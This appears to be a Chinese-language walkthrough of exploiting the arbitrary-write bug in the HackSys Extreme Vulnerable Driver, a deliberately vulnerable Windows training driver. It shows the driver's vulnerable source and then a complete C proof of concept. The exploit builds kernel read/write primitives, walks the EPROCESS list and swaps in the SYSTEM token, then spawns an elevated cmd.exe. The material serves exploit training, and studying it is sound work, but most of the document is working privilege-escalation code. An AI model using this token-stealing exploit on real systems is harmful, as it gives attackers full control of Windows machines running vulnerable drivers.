源码

HackSysExtremeVulnerableDriver.h

1
2
3
4
5
//
// IOCTL Definitions
//

#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)

HackSysExtremeVulnerableDriver.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
/// <summary>
/// IRP Device IoCtl Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS
IrpDeviceIoCtlHandler(
_In_ PDEVICE_OBJECT DeviceObject,
_Inout_ PIRP Irp
)
{
ULONG IoControlCode = 0;
PIO_STACK_LOCATION IrpSp = NULL;
NTSTATUS Status = STATUS_NOT_SUPPORTED;

UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();

IrpSp = IoGetCurrentIrpStackLocation(Irp);

if (IrpSp)
{
IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;

switch (IoControlCode)
{
case HEVD_IOCTL_ARBITRARY_WRITE:
DbgPrint("****** HEVD_IOCTL_ARBITRARY_WRITE ******\n");
Status = ArbitraryWriteIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_ARBITRARY_WRITE ******\n");
break;
[]
default:
DbgPrint("[-] Invalid IOCTL Code: 0x%X\n", IoControlCode);
Status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
}

//
// Update the IoStatus information
//

Irp->IoStatus.Status = Status;
Irp->IoStatus.Information = 0;

//
// Complete the request
//

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return Status;
}

ArbitraryWrite.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
/*++

## ## ######## ## ## ########
## ## ## ## ## ## ##
## ## ## ## ## ## ##
######### ###### ## ## ## ##
## ## ## ## ## ## ##
## ## ## ## ## ## ##
## ## ######## ### ########

HackSys Extreme Vulnerable Driver

Author : Ashfaq Ansari
Contact: ashfaq[at]payatu[dot]com
Website: http://www.payatu.com/

Copyright (C) 2015-2020 Payatu Software Labs LLP. All rights reserved.

This program is free software: you can redistribute it and/or modify it under the terms of
the GNU General Public License as published by the Free Software Foundation, either version
3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program.
If not, see <http://www.gnu.org/licenses/>.

THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

See the file 'LICENSE' for complete copying permission.

Module Name:
ArbitraryWrite.h

Abstract:
This module implements the data structures for
arbitrary write module.

--*/

#pragma once

#ifndef __ARBITRARY_WRITE_H__
#define __ARBITRARY_WRITE_H__

#include "Common.h"

//
// Structures
//

typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

//
// Function Definitions
//

NTSTATUS
TriggerArbitraryWrite(
_In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
);

#endif // !__ARBITRARY_WRITE_H__

ArbitraryWrite.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
/*++

## ## ######## ## ## ########
## ## ## ## ## ## ##
## ## ## ## ## ## ##
######### ###### ## ## ## ##
## ## ## ## ## ## ##
## ## ## ## ## ## ##
## ## ######## ### ########

HackSys Extreme Vulnerable Driver

Author : Ashfaq Ansari
Contact: ashfaq[at]payatu[dot]com
Website: http://www.payatu.com/

Copyright (C) 2015-2020 Payatu Software Labs LLP. All rights reserved.

This program is free software: you can redistribute it and/or modify it under the terms of
the GNU General Public License as published by the Free Software Foundation, either version
3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program.
If not, see <http://www.gnu.org/licenses/>.

THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

See the file 'LICENSE' for complete copying permission.

Module Name:
ArbitraryWrite.c

Abstract:
This module implements the functions to demonstrate
arbitrary write vulnerability.

--*/

#include "ArbitraryWrite.h"

#ifdef ALLOC_PRAGMA
#pragma alloc_text(PAGE, TriggerArbitraryWrite)
#pragma alloc_text(PAGE, ArbitraryWriteIoctlHandler)
#endif // ALLOC_PRAGMA

/// <summary>
/// Trigger the Arbitrary Write Vulnerability
/// </summary>
/// <param name="UserWriteWhatWhere">The pointer to WRITE_WHAT_WHERE structure</param>
/// <returns>NTSTATUS</returns>
NTSTATUS
TriggerArbitraryWrite(
_In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
{
PULONG_PTR What = NULL;
PULONG_PTR Where = NULL;
NTSTATUS Status = STATUS_SUCCESS;

PAGED_CODE();

__try
{
//
// Verify if the buffer resides in user mode
//

ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));

What = UserWriteWhatWhere->What;
Where = UserWriteWhatWhere->Where;

DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%zX\n", sizeof(WRITE_WHAT_WHERE));
DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);

#ifdef SECURE
//
// Secure Note: This is secure because the developer is properly validating if address
// pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()/
// ProbeForWrite() routine before performing the write operation
//

ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));

*(Where) = *(What);
#else
DbgPrint("[+] Triggering Arbitrary Write\n");

//
// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
// because the developer is writing the value pointed by 'What' to memory location
// pointed by 'Where' without properly validating if the values pointed by 'Where'
// and 'What' resides in User mode
//

*(Where) = *(What);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

//
// There is one more hidden vulnerability. Find it out.
//

return Status;
}

/// <summary>
/// Arbitrary Write Ioctl Handler
/// </summary>
/// <param name="Irp">The pointer to IRP</param>
/// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>
/// <returns>NTSTATUS</returns>
NTSTATUS
ArbitraryWriteIoctlHandler(
_In_ PIRP Irp,
_In_ PIO_STACK_LOCATION IrpSp
)
{
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PWRITE_WHAT_WHERE UserWriteWhatWhere = NULL;

UNREFERENCED_PARAMETER(Irp);
PAGED_CODE();

UserWriteWhatWhere = (PWRITE_WHAT_WHERE)IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;

if (UserWriteWhatWhere)
{
Status = TriggerArbitraryWrite(UserWriteWhatWhere);
}

return Status;
}

分析

代码很简单,就是任意地址写,这里写的时候并没有检查是否为用户空间的地址,所以可以实现任意地址读写(包括用户空间),原语如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
typedef struct _ArbitraryReadBuffer
{
uintptr_t readAddress;
uintptr_t outBuf;
} ArbitraryReadBuffer;

typedef struct _ArbitraryWriteBuffer
{
uintptr_t val;
uintptr_t writeAddress;
} ArbitraryWriteBuffer;

UINT64 arb_read(HANDLE hFile, UINT64 target) {
bool bResult = FALSE;
UINT64 readBuffer = 0;
ArbitraryReadBuffer arbReadBuf = { 0 };
arbReadBuf.readAddress = target;
arbReadBuf.outBuf = (UINT64)&readBuffer;
DWORD junk = 0;
#ifdef DEBUG
printf("[+] Arb read\n");
#endif
bResult = DeviceIoControl(hFile,
HEVD_IOCTL_ARBITRARY_WRITE,
&arbReadBuf, sizeof(arbReadBuf),
NULL, 0,
&junk,
(LPOVERLAPPED)NULL);

if (!bResult) {
printf("[-] Failed sending IOCTL\n");
exit(0);
}

UINT64 result = readBuffer;
#ifdef DEBUG
printf("[*] Arb read success, target is : 0x%llx, result is : 0x%llx\n", target, result);
#endif
return result;
}

void arb_write(HANDLE hFile, UINT64 target, UINT64 val) {
bool bResult = FALSE;
UINT64 writeBuffer = 0;
ArbitraryWriteBuffer arbWriteBuf = { 0 };
arbWriteBuf.writeAddress = target;
arbWriteBuf.val = (UINT64)&val;
DWORD junk = 0;
#ifdef DEBUG
printf("[+] Arb write\n");
#endif
bResult = DeviceIoControl(hFile,
HEVD_IOCTL_ARBITRARY_WRITE,
&arbWriteBuf, sizeof(arbWriteBuf),
NULL, 0,
&junk,
(LPOVERLAPPED)NULL);

if (!bResult) {
printf("[-] Failed sending IOCTL\n");
exit(0);
}

#ifdef DEBUG
printf("[*] Arb write success, target is : 0x%llx, value is : 0x%llx\n", target, val);
#endif
}

之后获取 PsInitialSystemProcess 的地址,来读取 _EPROCESS 的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
UINT64 get_kernel_symbol_info(LPCSTR lpSymbolName)
{
printf("[+] KernelSymbolInfo\n");
DWORD len;
PSYSTEM_MODULE_INFORMATION ModuleInfo;
LPVOID kernelBase = NULL;
PUCHAR kernelImage = NULL;
HMODULE hUserSpaceKernel;
LPCSTR lpKernelName = NULL;
FARPROC pUserKernelSymbol = NULL;
FARPROC pLiveFunctionAddress = NULL;

_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL) {
return NULL;
}

NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!ModuleInfo)
{
return NULL;
}

NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);

kernelBase = ModuleInfo->Module[0].ImageBase;
kernelImage = ModuleInfo->Module[0].FullPathName;

printf("[*] Kernel Full Image Name: %hs \n", kernelImage);
printf("[*] Kernel Base Address is at: 0x%llx \n", kernelBase);

/* Find exported Kernel Functions */

lpKernelName = (LPCSTR)ModuleInfo->Module[0].FullPathName + ModuleInfo->Module[0].OffsetToFileName;

hUserSpaceKernel = LoadLibraryExA(lpKernelName, 0, 0);
if (hUserSpaceKernel == NULL)
{
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return NULL;
}

pUserKernelSymbol = GetProcAddress(hUserSpaceKernel, lpSymbolName);
if (pUserKernelSymbol == NULL)
{
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return NULL;
}

pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpaceKernel + (PUCHAR)kernelBase);

FreeLibrary(hUserSpaceKernel);
VirtualFree(ModuleInfo, 0, MEM_RELEASE);

return (UINT64)pLiveFunctionAddress;
}

LPCSTR lpFunctionName = "PsInitialSystemProcess";
UINT64 fpFunctionAddress = get_kernel_symbol_info(lpFunctionName);

if (fpFunctionAddress == NULL)
{
printf("[-] Unable to find memory address!\n");
CloseHandle(hFile);
exit(0);
}
printf("[+] Get fpFunctionAddress : 0x%llx\n", fpFunctionAddress);

然后读取 SYSTEMtoken

1
2
3
4
5
6
7
8
9
10
11
12
13
UINT64 lpSystemEPROCESS = arb_read(hFile, fpFunctionAddress);
UINT64 lpSysProcID = arb_read(hFile, lpSystemEPROCESS + DWUNIQUEPROCESSIDOFFSET);
LIST_ENTRY leNextProcessLink;
leNextProcessLink.Flink = (LIST_ENTRY*)arb_read(hFile, lpSystemEPROCESS + DWACTIVEPROCESSLINKS);
leNextProcessLink.Blink = (LIST_ENTRY*)arb_read(hFile, lpSystemEPROCESS + DWACTIVEPROCESSLINKS + 0x8);
UINT64 lpSystemToken = arb_read(hFile, lpSystemEPROCESS + DWTOKENOFFSET);

DWORD dwSysProcID = LOWORD(lpSysProcID);

printf("[+] System _EPROCESS is at: 0x%llx \n", lpSystemEPROCESS);
printf("[+] System PID is: %u \n", dwSysProcID);
printf("[+] System _LIST_ENTRY is at: 0x%llx \n", (UINT64)leNextProcessLink.Flink);
printf("[+] System Token is: 0x%llx \n", lpSystemToken);

由于我们拥有 ActiveProcessLinks 链表,我们可以遍历找到当前程序的 token 并进行替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
printf("[*] Reading Current _EPROCESS structure");

DWORD dwPID = GetCurrentProcessId();
UINT64 lpNextEPROCESS = NULL;
UINT64 lpCurrentPID = NULL;
UINT64 lpCurrentToken = NULL;
DWORD dwCurrentPID;
do {
lpNextEPROCESS = (UINT64)leNextProcessLink.Flink - DWACTIVEPROCESSLINKS;
lpCurrentPID = arb_read(hFile, lpNextEPROCESS + DWUNIQUEPROCESSIDOFFSET);
lpCurrentToken = arb_read(hFile, lpNextEPROCESS + DWTOKENOFFSET);

// Read _LIST_ENTRY to next Active _EPROCESS Structure
leNextProcessLink.Flink = (LIST_ENTRY*)arb_read(hFile, lpNextEPROCESS + DWACTIVEPROCESSLINKS);
leNextProcessLink.Blink = (LIST_ENTRY*)arb_read(hFile, lpSystemEPROCESS + DWACTIVEPROCESSLINKS + 0x8);

dwCurrentPID = LOWORD(lpCurrentPID);

} while (dwCurrentPID != dwPID);

printf("[+] Current _EPROCESS Structure is at: 0x%llx \n", lpNextEPROCESS);
printf("[+] Current Process ID is: %u \n", dwCurrentPID);
printf("[+] Current _EPROCESS Token address is at: 0x%llx \n", lpNextEPROCESS + DWTOKENOFFSET);
printf("[+] Current Process Token is: 0x%llx \n", lpCurrentToken);

printf("[*] Replace Current Token\n");

arb_write(hFile, lpNextEPROCESS + DWTOKENOFFSET, lpSystemToken);

printf("[+] Done\n");

最后弹 cmd.exe 即可

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
#include <Windows.h>
#include <winternl.h>
#include <iostream>

typedef struct _ArbitraryReadBuffer
{
uintptr_t readAddress;
uintptr_t outBuf;
} ArbitraryReadBuffer;

typedef struct _ArbitraryWriteBuffer
{
uintptr_t val;
uintptr_t writeAddress;
} ArbitraryWriteBuffer;

typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG NumberOfModules;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);

#define SystemModuleInformation ((SYSTEM_INFORMATION_CLASS)11)
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
#define HEVD_IOCTL_ARBITRARY_WRITE 0x22200B
#define DWUNIQUEPROCESSIDOFFSET 0x440
#define DWACTIVEPROCESSLINKS 0x448
#define DWTOKENOFFSET 0x4b8

HANDLE grab_handle() {

HANDLE hFile = CreateFileA(DEVICE_NAME,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);

if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Failed to get handle!\n");
exit(1);
}

return hFile;
}

UINT64 arb_read(HANDLE hFile, UINT64 target) {
bool bResult = FALSE;
UINT64 readBuffer = 0;
ArbitraryReadBuffer arbReadBuf = { 0 };
arbReadBuf.readAddress = target;
arbReadBuf.outBuf = (UINT64)&readBuffer;
DWORD junk = 0;
#ifdef DEBUG
printf("[+] Arb read\n");
#endif
bResult = DeviceIoControl(hFile,
HEVD_IOCTL_ARBITRARY_WRITE,
&arbReadBuf, sizeof(arbReadBuf),
NULL, 0,
&junk,
(LPOVERLAPPED)NULL);

if (!bResult) {
printf("[-] Failed sending IOCTL\n");
exit(0);
}

UINT64 result = readBuffer;
#ifdef DEBUG
printf("[*] Arb read success, target is : 0x%llx, result is : 0x%llx\n", target, result);
#endif
return result;
}

void arb_write(HANDLE hFile, UINT64 target, UINT64 val) {
bool bResult = FALSE;
UINT64 writeBuffer = 0;
ArbitraryWriteBuffer arbWriteBuf = { 0 };
arbWriteBuf.writeAddress = target;
arbWriteBuf.val = (UINT64)&val;
DWORD junk = 0;
#ifdef DEBUG
printf("[+] Arb write\n");
#endif
bResult = DeviceIoControl(hFile,
HEVD_IOCTL_ARBITRARY_WRITE,
&arbWriteBuf, sizeof(arbWriteBuf),
NULL, 0,
&junk,
(LPOVERLAPPED)NULL);

if (!bResult) {
printf("[-] Failed sending IOCTL\n");
exit(0);
}

#ifdef DEBUG
printf("[*] Arb write success, target is : 0x%llx, value is : 0x%llx\n", target, val);
#endif
}

UINT64 get_kernel_symbol_info(LPCSTR lpSymbolName)
{
printf("[+] KernelSymbolInfo\n");
DWORD len;
PSYSTEM_MODULE_INFORMATION ModuleInfo;
LPVOID kernelBase = NULL;
PUCHAR kernelImage = NULL;
HMODULE hUserSpaceKernel;
LPCSTR lpKernelName = NULL;
FARPROC pUserKernelSymbol = NULL;
FARPROC pLiveFunctionAddress = NULL;

_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL) {
return NULL;
}

NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!ModuleInfo)
{
return NULL;
}

NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);

kernelBase = ModuleInfo->Module[0].ImageBase;
kernelImage = ModuleInfo->Module[0].FullPathName;

printf("[*] Kernel Full Image Name: %hs \n", kernelImage);
printf("[*] Kernel Base Address is at: 0x%llx \n", kernelBase);

/* Find exported Kernel Functions */

lpKernelName = (LPCSTR)ModuleInfo->Module[0].FullPathName + ModuleInfo->Module[0].OffsetToFileName;

hUserSpaceKernel = LoadLibraryExA(lpKernelName, 0, 0);
if (hUserSpaceKernel == NULL)
{
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return NULL;
}

pUserKernelSymbol = GetProcAddress(hUserSpaceKernel, lpSymbolName);
if (pUserKernelSymbol == NULL)
{
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return NULL;
}

pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpaceKernel + (PUCHAR)kernelBase);

FreeLibrary(hUserSpaceKernel);
VirtualFree(ModuleInfo, 0, MEM_RELEASE);

return (UINT64)pLiveFunctionAddress;
}

void change_token(HANDLE hFile) {
LPCSTR lpFunctionName = "PsInitialSystemProcess";
UINT64 fpFunctionAddress = get_kernel_symbol_info(lpFunctionName);

if (fpFunctionAddress == NULL)
{
printf("[-] Unable to find memory address!\n");
CloseHandle(hFile);
exit(0);
}
printf("[+] Get fpFunctionAddress : 0x%llx\n", fpFunctionAddress);

UINT64 lpSystemEPROCESS = arb_read(hFile, fpFunctionAddress);
UINT64 lpSysProcID = arb_read(hFile, lpSystemEPROCESS + DWUNIQUEPROCESSIDOFFSET);
LIST_ENTRY leNextProcessLink;
leNextProcessLink.Flink = (LIST_ENTRY*)arb_read(hFile, lpSystemEPROCESS + DWACTIVEPROCESSLINKS);
leNextProcessLink.Blink = (LIST_ENTRY*)arb_read(hFile, lpSystemEPROCESS + DWACTIVEPROCESSLINKS + 0x8);
UINT64 lpSystemToken = arb_read(hFile, lpSystemEPROCESS + DWTOKENOFFSET);

DWORD dwSysProcID = LOWORD(lpSysProcID);

printf("[+] System _EPROCESS is at: 0x%llx \n", lpSystemEPROCESS);
printf("[+] System PID is: %u \n", dwSysProcID);
printf("[+] System _LIST_ENTRY is at: 0x%llx \n", (UINT64)leNextProcessLink.Flink);
printf("[+] System Token is: 0x%llx \n", lpSystemToken);

printf("[*] Reading Current _EPROCESS structure");

DWORD dwPID = GetCurrentProcessId();
UINT64 lpNextEPROCESS = NULL;
UINT64 lpCurrentPID = NULL;
UINT64 lpCurrentToken = NULL;
DWORD dwCurrentPID;
do {
lpNextEPROCESS = (UINT64)leNextProcessLink.Flink - DWACTIVEPROCESSLINKS;
lpCurrentPID = arb_read(hFile, lpNextEPROCESS + DWUNIQUEPROCESSIDOFFSET);
lpCurrentToken = arb_read(hFile, lpNextEPROCESS + DWTOKENOFFSET);

// Read _LIST_ENTRY to next Active _EPROCESS Structure
leNextProcessLink.Flink = (LIST_ENTRY*)arb_read(hFile, lpNextEPROCESS + DWACTIVEPROCESSLINKS);
leNextProcessLink.Blink = (LIST_ENTRY*)arb_read(hFile, lpSystemEPROCESS + DWACTIVEPROCESSLINKS + 0x8);

dwCurrentPID = LOWORD(lpCurrentPID);

} while (dwCurrentPID != dwPID);

printf("[+] Current _EPROCESS Structure is at: 0x%llx \n", lpNextEPROCESS);
printf("[+] Current Process ID is: %u \n", dwCurrentPID);
printf("[+] Current _EPROCESS Token address is at: 0x%llx \n", lpNextEPROCESS + DWTOKENOFFSET);
printf("[+] Current Process Token is: 0x%llx \n", lpCurrentToken);

printf("[*] Replace Current Token\n");

arb_write(hFile, lpNextEPROCESS + DWTOKENOFFSET, lpSystemToken);

printf("[+] Done\n");
}

void spawn_shell() {

PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));

STARTUPINFOA si;
ZeroMemory(&si, sizeof(si));

printf("[>] shell!\n");

CreateProcessA("C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
NULL,
0,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi);
}

int main()
{
HANDLE hFile = grab_handle();
change_token(hFile);
spawn_shell();
}

Reference

GitHub - Cn33liz/HSEVD-ArbitraryOverwriteGDI: HackSys Extreme Vulnerable Driver - ArbitraryOverwrite Exploit using GDI

Abusing GDI for ring0 exploit primitives | CoreLabs (coresecurity.com)

Abusing GDI for ring0 exploit primitives: RELOAD